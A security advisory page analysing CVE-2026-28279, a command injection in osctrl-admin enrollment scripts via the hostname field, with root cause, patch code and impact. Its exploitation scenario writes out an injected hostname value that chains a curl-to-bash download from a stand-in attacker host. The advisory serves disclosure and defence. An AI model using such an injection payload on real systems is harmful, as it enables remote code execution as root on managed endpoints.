CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Dashboard
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-28279
7.30.11%

osctrl-admin Enrollment Script Command Injection

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 28, 2026·5 min read·11 visits

PoC Available

Executive Summary (TL;DR)

Authenticated RCE in osctrl < v0.5.0 allows attackers to compromise endpoints during enrollment by injecting commands into the hostname field.

A critical command injection vulnerability exists in the osctrl-admin component of the osctrl osquery management platform. The vulnerability allows authenticated administrators to inject arbitrary shell commands into generated enrollment scripts via the environment hostname parameter. When these scripts are executed on endpoints to install the osquery agent, the injected commands run with high privileges (typically root or SYSTEM), allowing for potential fleet-wide compromise.

Vulnerability Overview

A security flaw has been identified in osctrl-admin, the administrative interface for the osctrl osquery management solution. The vulnerability, classified as OS Command Injection (CWE-78), resides in the logic used to generate enrollment scripts—"one-liners" provided to administrators for deploying osquery agents to endpoints. The affected component fails to properly sanitize user-supplied configuration data before embedding it into shell (Linux/macOS) and PowerShell (Windows) scripts.

This flaw introduces a significant supply-chain risk within the managed environment. Although the vulnerability requires administrative authentication to the management console, it allows a compromised or malicious administrator to pivot from the central server to the managed endpoints. Because enrollment scripts are typically executed with elevated privileges (root or SYSTEM) to install system services, the injected commands inherit these permissions, granting the attacker full control over the target machine during the enrollment phase.

Root Cause Analysis

The root cause of this vulnerability is the unsafe use of Go's text/template package for generating executable scripts, combined with a lack of input validation on the hostname parameter. In the osctrl-admin backend, environment configurations allow administrators to specify a hostname where the osquery agents should connect (e.g., osctrl.example.com).

When an administrator requests an enrollment script, the backend reads a template file and substitutes the configuration values into the script text. The text/template engine performs raw string substitution and does not offer context-aware escaping for shell syntax. Consequently, if the hostname parameter contains shell metacharacters—such as semicolons (;), pipes (|), or command substitutions ($() or `)—these characters are written literally into the generated script.

For example, a legitimate script line might look like this: ./osquery-install.sh --flag --hostname \{\{ .Hostname \}\}

If the input is not sanitized, a malicious input transforms the line into valid shell logic that executes an additional command: ./osquery-install.sh --flag --hostname osctrl.com; malicious_command

Code Analysis & Fix

The remediation for CVE-2026-28279 involves enforcing strict input validation on environment parameters before they are persisted to the database. The maintainers introduced a specific regex filter to ensure the hostname contains only safe characters (alphanumeric, dots, and hyphens).

Vulnerable Logic (Conceptual): Previously, the HTTP handler for updating environments accepted the hostname string directly from the POST request body and saved it to the configuration store without validating its contents against a strict allow-list.

Patched Logic (v0.5.0): A new validation function was added in pkg/environments/filters.go to reject any input containing shell metacharacters.

// pkg/environments/filters.go
const (
    // Strict regex allowing only alphanumeric chars, dots, and hyphens
    hostnameRegex string = `^[a-zA-Z0-9.\-]+$`
)
 
func HostnameFilter(s string) bool {
    re := regexp.MustCompile(hostnameRegex)
    return re.MatchString(s)
}

The EnvsPOSTHandler in cmd/admin/handlers/post.go was updated to invoke this filter. If VerifyEnvFilters fails, the server returns an error code (400 Bad Request or 500 Internal Server Error) and refuses to save the malicious configuration, preventing the injection at the source.

Exploitation Scenario

Exploitation of this vulnerability requires an attacker to possess credentials for the osctrl-admin interface. Once authenticated, the attack follows a specific workflow targeting the enrollment process.

  1. Injection: The attacker navigates to the environment configuration settings and modifies the hostname field. Instead of a valid domain, they input a payload such as osctrl.local; curl http://attacker-c2.com/payload.sh | bash.
  2. Generation: The attacker (or a legitimate administrator unaware of the change) generates an enrollment script (e.g., a .sh or .ps1 one-liner) from the UI. The backend templates the malicious string directly into the command arguments of the script.
  3. Execution: The script is distributed to a target machine. When an operator runs this script with sudo or as Administrator to install osquery, the shell interprets the semicolon as a command separator. It executes the osquery installation command, followed immediately by the injected curl/bash command.

This attack vector is particularly dangerous because it occurs before the security agent is successfully installed and reporting. The malicious activity runs outside the visibility of the tool meant to monitor the system.

Impact Assessment

The impact of CVE-2026-28279 is rated High (CVSS 7.3) due to the potential for complete system compromise on enrolled endpoints. While the requirement for high privileges (PR:H) and user interaction (UI:R) lowers the base score, the Scope Change (S:C) reflects the critical nature of the vulnerability: a compromise of the management plane leads directly to a compromise of the managed infrastructure.

Key Risks:

  • Remote Code Execution: Arbitrary commands run as root/SYSTEM on endpoints.
  • Persistence: Attackers can install backdoors or rootkits during the enrollment phase, ensuring access even if the osquery agent is later removed or reconfigured.
  • Lateral Movement: Compromising the enrollment server allows an attacker to pivot to any new machine joining the network, potentially affecting the entire fleet if the corrupted script is widely distributed.

Official Patches

jmpsecosctrl v0.5.0 Release Notes
jmpsecPull Request #780

Fix Analysis (1)

Technical Appendix

CVSS Score
7.3/ 10
CVSS:3.1/AV:A/AC:H/PR:H/UI:R/S:C/C:H/I:H/A:H
EPSS Probability
0.11%
Top 70% most exploited

Affected Systems

osctrl-admin < v0.5.0

Affected Versions Detail

Product
Affected Versions
Fixed Version
osctrl
jmpsec
< 0.5.00.5.0
AttributeDetail
CWE IDCWE-78
CVSS v3.17.3 (High)
Attack VectorAdjacent Network
Exploit StatusPoC Available
EPSS Score0.00112
Patch Version0.5.0

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1190Exploit Public-Facing Application
Initial Access
CWE-78
OS Command Injection

Known Exploits & Detection

ManualManual PoC involving environment configuration modification

Vulnerability Timeline

Initial security patches committed
2025-12-24
Vulnerability publicly disclosed (GHSA)
2026-02-26
NVD publication and CVSS scoring
2026-02-27

References & Sources

  • [1]GHSA-rchw-322g-f7rm Advisory
  • [2]NVD Entry for CVE-2026-28279

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.